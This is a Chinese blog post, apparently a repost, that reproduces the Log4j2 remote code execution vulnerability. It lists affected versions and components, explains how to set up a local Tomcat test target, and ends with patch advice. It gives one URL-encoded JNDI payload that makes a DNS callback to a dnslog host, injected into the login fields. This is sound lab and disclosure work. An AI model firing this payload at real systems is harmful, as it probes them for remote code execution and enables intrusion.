我是靠谱客的博主 凶狠天空,最近开发中收集的这篇文章主要介绍log4j2漏洞复现漏洞描述影响版本漏洞复现修复建议,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

log4j2漏洞复现

  • 漏洞描述
  • 影响版本
  • 漏洞复现
    • 环境准备
    • 靶场搭建
    • 执行命令
  • 修复建议

漏洞描述

Apache Log4j2是一款Java日志框架,是Log4j 的升级版。可以控制每一条日志的输出格式。通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。
Apache Log4j2组件存在远程代码执行漏洞,漏洞利用无需特殊配置,攻击者可直接构造恶意请求,触发远程代码执行。


影响版本

目前受影响的Apache Log4j2版本:

2.0 ≤ Apache Log4j <= 2.14.1

已知受影响应用及组件:
Hadoop Hive
Apache Solr
Apache Struts2
Apache Druid
Apache Log4j SLF4J Binding
spring-boot-strater-log4j2
JBoss Logging 3

更多组件可参考如下链接:

https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core/usages?p=1


漏洞复现

环境准备

感谢weil大佬给我的源码包。
感谢兰秋一大佬给我的xampp。
百度网盘链接:复现环境
提取码:1234


靶场搭建

1、下载xampp,一直next下一步。

在这里插入图片描述

2、安装完成显示如下。
在这里插入图片描述
3、解压源码.zip,找到xampp安装tomcat的位置,进入webapps,将原来的ROOT更改名称,我这里更改为ROOT123,然后将源码包中的ROOT.war复制到webapps中。

在这里插入图片描述4、启动xampp中的tomcat,环境搭建成功,这里默认开启8080端口。

在这里插入图片描述在这里插入图片描述

执行命令

1、登录页面输入账密抓包。
在这里插入图片描述
2、构造payload,请求dnslog。

$%7bjndi:dns://sqkl4w.dnslog.cn/test%7d

username参数:
在这里插入图片描述password参数:
在这里插入图片描述


修复建议

目前官方已发布Apache Log4j 2.15.1-rc1(测试版)及Apache Log4j 2.15.0(稳定版)修复该漏洞,建议受影响用户可将Apache Log4j所有相关应用到以上版本。
下载链接:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.1-rc1
https://logging.apache.org/log4j/2.x/download.html


声明:以上漏洞复现所使用的环境工具均为测试环境使用,产生的一切法律后果自行承担。

最后

以上就是凶狠天空为你收集整理的log4j2漏洞复现漏洞描述影响版本漏洞复现修复建议的全部内容,希望文章能够帮你解决log4j2漏洞复现漏洞描述影响版本漏洞复现修复建议所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(34)

评论列表共有 0 条评论

立即
投稿
返回
顶部